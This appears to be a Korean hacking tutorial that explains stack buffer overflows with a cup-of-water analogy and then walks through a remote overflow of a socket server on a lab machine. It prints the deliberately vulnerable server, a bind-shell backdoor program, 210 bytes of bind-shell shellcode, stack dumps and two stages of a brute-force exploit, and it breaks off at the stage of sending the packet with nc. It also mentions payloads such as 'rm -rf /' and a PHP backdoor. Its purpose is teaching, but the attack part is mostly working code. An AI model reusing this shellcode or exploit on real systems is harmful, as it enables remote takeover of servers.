버퍼오버플로우는
만약 님께서 컵에 1.5L 짜리 물을 부으신다면 컵에서 물이넘치겠죠 이게 바로
버퍼 오버플로우랍니다.
이거랑 무슨 상관이 냐구요? 이해하려면 당연히 이렇게라도 생각하시길..
이런 것들이 왜 필요가 있을까요?
프로그램의 구조적인 차원에서 한번 볼까요?
프로그램을 짜본 사람은 알꺼에요. 안짜봐도 알겠지만..
main() 함수라는 것이 있으며 반드시 존재해야 프로그램이 돌아가겠죠.
이런 프로그램 소스를 보세요..
main()
{
printf("hello\n\n");
}
자. 이것을 컴파일 해보세요.
당연히 hello 라는 문자가 나오겠죠.. 왜 끝에 \n(한줄내림)을 두개나 했냐구
요?
제 맘이랍니다. :)
이번에는 좀더 재미있는 것을 해봅시다.
int test(void)
{
int i=100;
i=i+1;
return i;
}
void main(void)
{
int k;
k = test(); /* (1) */
printf("정답(?) :: %d \n",k);
}
이 소스를 컴파일해서 실행하면 이렇게 나오겠죠??
정답(?) :: 101
이렇게 나오죠..
여기서 우리가 사전 지식을 가져야 할 것은 우선 main() 함수가 불려진후에
main() 함수에서 test() 함수를 불렀죠? 이것은 당연하겠지만 좀더 심도있게
들어가보면 여러가지 재미있는 것들을 알 수 있어요..
정답(?) :: 101 이라는 것을 출력하기위해 프로그램은 이렇게 함수를 움직이겠
죠?
main() --> test() --> main() --> 종료
그런데 프로그램이 시작되면 메모리에 main() 함수영역과 test() 함수영역이
따로 구분되어 놓여져 있습니다.
메모리가 잠시 옆으로 누워서 이런 형태로 보인다고 생각해봅시다.
[ ]
그러면 main() 함수와 test() 함수가 메모리에 할당되어 메모리에 들어가 있을
때의 화
면은 이렇겠죠?
[ tset() main() ]
이제 한번 프로그램이 움직이는 순서대로 가봅시다.
main()함수가 호출되어 메모리에서 현재 프로그램이 움직이는 지점이 main()
이라는 부분일테고, 곧바로 test()를 호출/* (1) */했기때문에 현재 프로그램
이
움직이는 지점이 test() 라는 부분으로 움직이겠죠.. 그리고 test() 함수에서
일이 다 끝나면 다시 main() 함수로 움직이고 정답(?) 어쩌구를 출력하고
프로그램이 종료되겠죠..
그런데 여기서 프로그램이 움직이는 지점(포인터)가 main()으로 갔다가
test()로 갔다가 다시 main()으로 가는 일을 혼자서 스스로 움직이는 것은
불가능해요.. 왜냐.. 지능이 있는 사람은 그냥 보고서 main()과 test()를
왔다갔다 하지만 기계는 그렇지 못하죠..
그래서 생각해낸것이 메모리 부분부분에 주소(address)를 할당하고 주소만
입력하면 그 주소로 곧바로 움직일 수가 있게되죠. 하지만 그래도 프로그램이
움직이는 포인터는 아직 모르죠.. test()가 메모리 어디에 있는지도 모르니까
요. 또한
main()도 어디에 숨어있는지도 모르고..
그래서 또(?) 생각한것이 리턴 어드레스라는 부분입니다.
그러니깐, tset() 라는 함수가 메모리에 할당되기전에 자신을 불렀던 main()함
수의
메모리 주소를 기억하고 있습니다. 그래야 프로그램이 움직이는 포인터가 test
() 로
갔다가
다시 main()으로 돌아갈꺼 아닌가요?
만약 그 저장된 리턴 어드레스가 엉뚱한 부분.. 그러니깐 main()함수를 가르키
지 않고
엉뚱한 곳을 가르킨다면 영락없이 에러가 나면서 프로그램이 비정상적으로
돌아가겠죠. 프로그램이 움직이는 포인터가 엉뚱한 리턴어드레스로 메모리의
이상한 부분을 건드리게되면 에러가 나는데 이게 바로 세그먼테이션 오류입니
다. ( 이
렇게 나와요. Segmentation fault )
그러니깐 언제나 자신을 호출한 부모함수의 주소를 리턴어드레스가 생각하고
100% 안전하게 지키고 있어야 하죠. ( test()함수의 경우 부모함수는 당연히
main() 함수겠죠???)
리턴어드레스가 왜 있는가에 대해서는 설명을 했고, 이번에는 test() 함수가
메모리에 할당되어있는 모습을 좀더 망원경을 가져다 대고 더 가까이 지켜봅시
다.
test() 함수가 메모리에 할당되어있는 것을 좀더 확대시켜서 보면
[ 변수에 관련된것을 저장 리턴어드레스(ret) ] <= test()
이런 형태로 있답니다.
리턴어드레스는 조기 가장 뒷쪽에 꼬불쳐 놓고있어요..
아까 test() 함수를 보면 int i; 라는 부분이 있는데 이것이 바로 변수를
설정하는 부분이죠..
그래서 test()의 메모리는 이렇게 되겠죠..
[ (i 변수 영역) ret(리턴어드레스)]
그런데 묘한것은 i 변수가 점점 커지게되면 이렇게 되요..
[ (i 변수 영역) ret(리턴어드레스)]
[ (i 변수 영역))) ret(리턴어드레스)] 좀더... ^^;
[ (i 변수 영역))))) ret(리턴어드레스)]
[ (i 변수 영역))))))) ret(리턴어드레스)] 조금더.....
[ (i 변수 영역)))))))))ret(리턴어드레스)] 어엇. 여기까쥐..
보세요..
i변수 영역이 계속 커지다 보니깐 리턴어드레스 부분까지 계속 확장되죠?
여기서 주의 깊게 볼 부분은 i 변수 영역은 그대로인데 변수안에 들어가는
내용이 점점 커져서 계속 부풀어 올라가는 모습이에요..
이제 좀더 커지게되면 어떻게 될까요? 하핫..
리턴 어드레스 부분이 i 변수 내용이랑 겹치겠죠?
그렇게 되면 i 변수에 어떤 입력된 값이 들어가게 되면 리턴 어드레스 부분도
엉뚱한 숫자로 바뀌게 되어 원래 저장된 main() 함수의 주소를 잃어버리게되
죠.
그러면 당연히 오류가 생기면서 Segmentation fault 가 나고 프로그램이 죽죠.
이것이 바로 버퍼 오버플로우가 일어난 예랍니다.
원래의 i변수 영역에 들어가는 내용이 점점 커져서 리턴어드레스까지 건드려
프로그램이 제대로 돌아가질 않게되죠..
그런데 해킹기법중에 이런 부분이 있죠. 버퍼 오버플로우 공격기법(?)..
이런 해킹기법은 아까 말한 리턴 어드레스부분을 원하는 메모리 주소로 가게
하고
그 부분에 엉뚱한 프로그램을 올려놓고 그것이 실행되도록 하는 거랍니다..
아까의경우를 보면
main() -> test() -> main() 이렇게 가죠? 하지만 해킹기법을 이용하면
main() -> test() -> 해커가 만든함수 혹은 프로그램부분
이렇게 한답니다..
이제 아셨죠?
==실전 연습==
부제 : 독립적인 네트워크 프로그램에 대한 오버플로우 공격
Xinetd에 의해 네트워크에 연결된 로컬 프로그램은 그것의 표준 입출력 주체가 모두
해당 Port에 연결된 클라이언트가 된다. 그렇기 때문에, 오버플로우 공격에 성공
하여 쉘을 획득하게 되면, 그 쉘의 표준 입출력 역시 Xinetd의 덕으로 클라이언트와
연결이 되어 공격자가 자유롭게 쉘을 사용할 수 있었던 것이다. 하지만, Xinetd와
연결되지 않는 독립적인 네트워크 프로그램. 즉, 직접 socket을 생성하고, bind와
listen 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의
입력과 출력은 프로그램 내에 구현된 send()와 recv() 등의 함수에 의한 통신만
가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가
서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다.
결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는
것이다. 이번 강좌에서는 이러한 상황에서 타겟 서버의 쉘을 획득하는 방법에
대해 설명한다. 다음의 취약한 소스를 보자.
=============================================================================
// 리모트 버퍼 오버플로우 취약점을 가진 프로그램
// string 변수의 크기는 300바이트이나, recv() 함수로 400바이트를
// 입력받아 string 변수에 저장하는 과정에서 오버플로우 발생.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main()
{
char string[300], sendmsg[400];
// sendmsg 변수는 단순히 클라이언트로의 응답을 위한 것임.
int sockfd, your_sockfd;
struct sockaddr_in my_addr, your_addr;
int len;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(31337);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&my_addr.sin_zero, 8);
if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){
perror("bind error");
exit(-1);
}
listen(sockfd, 5);
while(1){
len = sizeof(your_addr);
your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
if(your_sockfd==-1){
perror("accept error");
exit(-1);
}
if(fork()!=0){
close(your_sockfd);
continue;
}
else
break;
}
printf ("co nnected from %s\n", inet_ntoa(your_addr.sin_addr));
len = recv(your_sockfd, string, 400, 0);
printf("String Length = %d\n", len);
string[len-1] = '\0';
sprintf(sendmsg, "당신이 입력한 문자열 : %s\n", string);
send(your_sockfd, sendmsg, strlen(sendmsg), 0);
close(sockfd);
close(your_sockfd);
}
=============================================================================
위 프로그램은 TCP 31337번 포트를 생성한 후, 이 곳으로 접속된 클라이언트에게
한 번의 문자열을 입력받은 후, 그것을 다시 클라이언트에게 출력해주고 종료한다.
이처럼, 독립적인 네트워크 프로그램으로 구현될 경우엔 소스 내의 send()와 recv()
함수가 요청하고, 보내주는 입출력만 처리할 수 있다. 즉, 위 프로그램의 경우엔
오로지 한 번 입력을 받고, 역시 한 번 출력을 할 수밖에 없는 것이다. 그럼 위와
같은 환경에서 string 변수를 overflow시켜 쉘을 획득했다고 해보자. 그럼, 그
쉘의 입력과 출력은 어디로 연결될까? 보다시피 main() 함수가 종료된 이후에는
아무런 send()와 recv() 함수도 존재하지 않음으로, 입력도 받을 수 없고, 출력
역시 할 수 없다. 더군다나, main() 함수가 종료되기 직전에 sockfd와 your_sockfd.
즉, 통신에 사용하는 모든 소켓을 닫아버리기 때문에 쉘과 입출력 통신을 하는 것은
더욱 막연하기만하다. 아마도, 위 프로그램을 오버플로우시켜 쉘을 띄우게 되면,
그 쉘을 실행하는 것은 프로그램의 백그라운드 프로세스가 될 것이다. 즉, 공격자와
공격 대상자가 있을 때, 공격 대상자의 쉘이 다시 공격 대상자에게 실행되는
것이니 아무런 의미가 없다. 더군다나 실제로 위와 같은 형태에 네트워크 프로그램은
터미널에 연결되지 않은 데몬 형태로 작동하는 경우가 대부분이며, 그와 같은 경우엔
쉘이 실행되더라도 그 쉘을 받게되는 주체는 아무 것도 없게되고, 따라서 통신
대상이 없는 쉘은 실행된 즉시 소멸될 것이다.
자, 그럼 이와같은 상황에서 어떻게 공격을 구상해야할 것인가? 일단, 쉘코드. 즉,
타겟 서버로 전송되는 기계어 코드가 꼭 쉘을 띄우는 것만일 필요는 없다는 점을
상기해야한다. 다시 말해 타겟 서버에 명령을 내리는 어떠한 기계어도 실행시킬 수
있다는 얘기다. 따라서 꼭 쉘을 얻는 것만이 아닌 "rm -rf /" 역할을 하는 기계어도
실행시킬 수 있고, "adduser mirable"이라는 명령의 기계어도 실행시킬 수 있다는
말이다. 비록 직접적으로 쉘은 얻어내지 못하더라도 우리는 원하는 모든 명령을
타겟 서버에 실행되게 할 수가 있다. 그럼, 과연 어떤 기계어 코드를 전송해야
가장 효과적일까? passthru() 함수를 담은 /home/public_html/backdoor.php 파일을
만들까? 이건 좀 번거로워 보인다. 그럼, /usr/sbin/in.telnetd 프로그램을 이용
하여 백도어를 생성할까? 그나마 조금 괜찮은 방법이다. 하지만, 가장 효율적이고
실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운
소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell
백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에
접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수
있게 된다.
자, 그럼 이제 답은 나왔다. 지금까지 사용해왔던 "/bin/bash"를 실행하는 쉘코드는
독립적인 네트워크 프로그램에 대한 오버플로우 공격엔 아무런 쓸모가 없음으로
버려버리고, 대신 백도어 쉘을 생성하는 바인드 쉘 코드를 사용하도록 하자.
그럼, 먼저 바인드 쉘 프로그램을 C언어로 구현하여 그 동작 원리를 이해해 보도록
하자.
============================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main()
{
int sockfd, your_sockfd, len;
struct sockaddr_in my_addr, your_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(12345);
my_addr.sin_addr.s_addr = INADDR_ANY;
memset(&my_addr.sin_zero, 0, 8);
if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
perror("bind");
exit(-1);
}
listen(sockfd, 5);
len = sizeof(your_addr);
your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
dup2(your_sockfd, 0); // 표준 입력을 클라이언트로..
dup2(your_sockfd, 1); // 표준 출력을 클라이언트로..
dup2(your_sockfd, 2); // 에러 출력을 클라이언트로..
execl("/bin/bash", "bash", 0);
close(sockfd);
close(your_sockfd);
}
============================================================================
가장 핵심이 되는 부분은 dup2()가 사용된 세 줄이다. dup2()는 디스크립터 복사
함수로써, dup2(your_sockfd, 0)은 your_sockfd 디스크립터를 0 디스크립터로 복사
하라는 의미임으로 곧 0은 your_sockfd가 된다. 0은 stdin. 즉, 표준 입력이며,
표준 입력이 your_sockfd(클라이언트와 연결된 소켓)가 된 것이다. 또, dup2(your_
sockfd, 1)에 의해서 표준 출력의 주체 역시 클라이언트의 소켓이 되었다.
마지막 dup2(your_sockfd, 2)에 의해서 에러 출력의 주체도 클라이언트가 되었고,
결과적으로 프로그램의 입출력 대상이 포트에 연결된 클라이언트가 되었다.
또한, 이 상태에서 "/bin/bash"를 실행하였으니, 쉘읠 입출력 대상 역시 클라이언트
가 되는 것이고, 클라이언트 입장에서 볼 때는 마치 로컬에서 직접 쉘을 실행한
것과 같은 결과를 얻게 되는 것이다. (위 프로그램은 원리 이해를 쉽게하기위하여
오직 한 번의 클라이언트부터의 연결만 받도록 구현되어있다. 여러 개의 클라이언
트를 받거나, 쉘이 종료된 후에도 프로그램이 작동하도록 하려면, fork() 함수를
사용하여 접속이 올때마다 똑같은 프로세스를 복사해서 실행하도록 수정하면 될
것이다.)
이제 위 C언어 코드를 기계어. 즉 백도어 쉘코드로 변환하는데, 직접 쉘코드를
구현하면 많은 시간과 지면이 소요됨으로 이 강좌에선 이미 완성된 백도어
쉘코드를 가져와 사용하도록 하겠다.
◎ TCP 45295 Port를 열어주는 Bind Shell 백도어 기계어 코드. (from sambal.c)
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
위 문자열은 총 210바이트이며, 이 용량을 수용하기위하여 취약 프로그램의
버퍼 크기를 넉넉하게 300 바이트로 할당한 것이었다.
그럼 이제 실제 공격 테스트를 진행해보자. 공격 환경은 다음과 같다.
==================================================================
Target : ftz.hackerschool.org, 레드햇 7.3, gcc 2.96
다음과 같이 guest 계정으로 취약 프로그램을 실행한다.
[guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c
[guest@ftz guest]$ ./vuln_prog
==================================================================
공격자의 서버 환경은 유닉스 기반이기만하면 어떤 것이 되던지 상관없다.
이 문서를 작성할 땐 같은 서버에 또 하나의 터미널로 접속한 후, localhost로
공격을 테스트하였다.
==================================================================
[guest@ftz guest]$ telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hello
당신이 입력한 문자열 : hello
Connection closed by foreign host.
[guest@ftz guest]$
==================================================================
그럼 이제 어떤 방법으로 공격할지를 구상해보자.
공격 방법을 쉽게 떠올릴려면, 취약한 루틴에 해당하는 버퍼 상태를 그림으로
그리는 것이 큰 도움이 된다.
* vuln_prog의 버퍼 모습 (STACK)
[sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ]
여기서 문제가 될 수 있는 것은 dummy이다. 컴파일러에의해서 dummy가 추가될
수 있기 때문이다. 다음과 같은 간단한 테스트 프로그램을 만들어 dummy 생성
여부를 확인해 보자.
============================================
#include "dumpcode.h"
int main()
{
char string[300], sendmsg[400];
memset(string, 'A', 300);
memset(sendmsg, 'B', 400);
dumpcode(sendmsg, 800);
}
============================================
* 실행 결과
==============================================================================
[guest@ftz guest]$ gcc -o dummy dummy.c
[guest@ftz guest]$ ./dummy
0xbffff8a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff8b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff8c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff8d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff8e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff8f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff900 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff910 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff920 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff930 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff940 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff950 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff960 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff970 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff980 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff990 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffff9f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffffa00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffffa10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffffa20 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0xbffffa30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa50 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa70 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa80 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffa90 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffaa0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffab0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffac0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffad0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffae0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffaf0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb50 41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08 AAAAAAAAAAAAQ...
0xbffffb60 84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42 .............t.B
0xbffffb70 01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08 ................
0xbffffb80 30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42 0............t.B
0xbffffb90 00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40 ...........B.4.@
0xbffffba0 01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08 ....p...........
0xbffffbb0 94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08 ................
[guest@ftz guest]$
==============================================================================
위 결과를 분석해보면, string 변수를 16바이트 단위를 만들기위해 4바이트의
더미가 추가되었으며, return address와 sfp를 16바이트 단위로 만들기위해
8바이트의 더미가 추가된 것을 볼 수 있다. 즉, 총 12바이트의 더미가 생성된
것이다. 이제 버퍼를 다시 그려보자.
* vuln_prog의 버퍼 모습 (STACK)
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
이제 이 프로그램이 공격당할 때의 버퍼 모습을 쉽게 유추할 수 있다.
* 공격당할 때의 버퍼 모습
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~ ┃
[210바이트 쉘코드] [어떤 값이 되던 상관없음.] ┃
↑ ┃
┗━━━━━━━━━━━━━━━━━━━━━━┛
* 리턴 어드레스가 쉘코드의 시작을 가리키도록 함.
위와같은 모양이 된다면, 버퍼가 오버플로우되고, main()함수가 종료되는 시점에서
바인드 쉘코드가 실행됨과 동시에 45295번 포트가 열릴 것이다.
이제 Exploit을 구현해 나가보자. 문제가 될만한 부분은 쉘코드의 시작 위치를
어떻게 알아내느냐하는 것인데, 역시 특별한 방법은 없으며, Brute Force를 통해
그 위치를 찾아나가야 한다.
◎ Exploit 작성 1단계 : 취약 프로그램의 버퍼에 저장될 공격 string을 구성한다.
========================================================================
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
int main()
{
char Attack_String[320];
int Ret_Addr = 0xc0000000;
memset(Attack_String, 'A', 320);
memcpy(Attack_String, shellcode, strlen(shellcode));
memcpy(&Attack_String[316], &Ret_Addr, 4);
}
========================================================================
취약 프로그램의 string 변수 300바이트와 dummy 12바이트, sfp 4바이트 그리고
return address 4바이트를 합하여 총 320 바이트를 공격 스트링의 크기로 할당하였다.
그 다음엔 Brute Force를 통해 변경시킬 Ret_Addr 변수를 선언하였다.
다음 부분에서 Attack_String을 A 문자로 가득 채운 이유는 후에 완성된 공격
스트링을 쉘에 입력할 때, ;, |, & 등의 특수 문자가 입력되는 것을 방지하기
위함이다. 이렇게 초기화를 하지 않으면 쓰레기 값들이 대신 출력되기 때문이다.
이제 공격 스트링의 앞부분에 바인드 쉘코드를 복사하고, 취약 프로그램의 리턴
어드레스가 위치하는 부분에 공격자가 임의로 변경할 리턴 어드레스를 복사하였다.
이 변경할 값은 쉘코드의 시작 부분이 될 것이며, 이제 Brute Force로 이 값을
추측하는 루틴을 추가해야 한다.
◎ Exploit 작성 2단계 : Brute Force 루틴 추가.
========================================================================
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
int main()
{
char Attack_String[320];
int Ret_Addr = 0xc0000000;
memset(Attack_String, 'A', 320);
memcpy(Attack_String, shellcode, strlen(shellcode));
while(1){
memcpy(&Attack_String[316], &Ret_Addr, 4);
printf("%p\n", Ret_Addr);
Ret_Addr -= 4; // 0xc0000000에서부터 4바이트씩 감소
}
}
========================================================================
* 실행 결과
====================================
[guest@ftz lecture]$ ./exploit
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
... 생략 ...
====================================
이처럼 스택의 가장 끝 부분부터 4바이트 단위로 리턴 어드레스를 변경해가다보면,
언젠가는 쉘코드의 시작 부분을 실행하게 될 것이다. 이제 다음은 쉘코드와
Brute Force로 얻은 새로운 리턴 어드레스의 주소를 취약 프로그램으로 전송하는
단계이다. 이 부분은 nc라는 패킷 전송 툴을 이용하면 편하다.
◎ Exploit 작성 3단계 : 공격 패킷 전송 루틴 추가
========================================================================
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
